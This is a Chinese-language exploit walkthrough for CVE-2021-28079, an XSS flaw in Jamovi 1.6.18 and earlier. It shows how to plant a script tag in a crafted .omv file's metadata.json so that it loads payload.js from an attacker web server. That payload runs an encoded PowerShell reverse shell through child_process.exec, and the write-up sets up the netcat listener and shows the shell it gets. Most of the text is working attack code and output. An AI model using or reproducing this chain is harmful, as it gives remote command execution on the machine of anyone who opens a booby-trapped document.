CVE-2021-28079 - 概念验证

Jamovi <=1.6.18 受跨站脚本（XSS）漏洞影响。列名在 ElectronJS 框架中容易受到 XSS 攻击。攻击者可以制作一个包含载荷的 .omv（Jamovi）文档。当受害者打开时，载荷被触发。

🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract

所有 OMV 文件都是归档数据。因此，你可以解压它并修改以利用 XSS 漏洞。

🔥\> unzip example.omv
Archive:  example.omv
  inflating: META-INF/MANIFEST.MF
  inflating: index.html
  inflating: metadata.json
  inflating: xdata.json
  inflating: data.bin
  inflating: 01 empty/analysis

🔥\> ls
'01 empty'   data.bin   index.html   metadata.json   META-INF   example.omv   xdata.json

编辑 metadata.json 文件并添加你的 XSS 载荷。

🔥\> python3 -m json.tool metadata.json | head
{
    "dataSet": {
        "rowCount": 20,
        "columnCount": 3,
        "removedRows": [],
        "addedRows": [],
        "fields": [
            {
                "name": "<script src=\"http://10.x.x.x/payload.js\"></script>",
                "id": 1,

Name 字段容易受到 XSS 攻击，这就是我们需要添加 XSS 载荷的地方。确保转义脚本内部的双引号。成功利用后，它会命中我们的 Web 服务器，我们的实际载荷就存放在那里。下面的 JS 脚本我们可以用来执行命令以获得 shell 访问权限。

require('child_process').exec('command')

如果是 Windows 操作系统，你可以使用 powershell；如果是 Linux，你可以使用 bash 一行命令。

🔥\> cat payload.js
require('child_process').exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AeAAuAHgALgB4ACIALAA0ADUANgA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==')

上面是一个包含 powershell 命令的 JS 文件示例。现在我们需要使用更新后的 metadata.json 将其重新压缩为 zip。

🔥\> zip -r example.omv .
  adding: 01 empty/ (stored 0%)
  adding: 01 empty/analysis (deflated 8%)
  adding: index.html (deflated 67%)
  adding: xdata.json (deflated 33%)
  adding: metadata.json (deflated 78%)
  adding: META-INF/ (stored 0%)
  adding: META-INF/MANIFEST.MF (deflated 30%)
  adding: data.bin (deflated 84%)

🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract

设置 Web 服务器以提供 payload.js 文件

🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

设置 netcat 监听器

🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567

现在执行 'example.omv' 文件以利用 XSS 漏洞，然后检查你的 Web 服务器是否有命中，接着检查 netcat 监听器。

🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.x.x.x - - [31/Oct/2021 08:53:25] "GET /payload.js HTTP/1.1" 200 -

🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Ncat: Connection from 10.x.x.x.
Ncat: Connection from 10.x.x.x:76544.

PS C:\Windows\system32> whoami
omni\localuser

CVE-2021-28079

最受欢迎

CVE-2021-28079 - 概念验证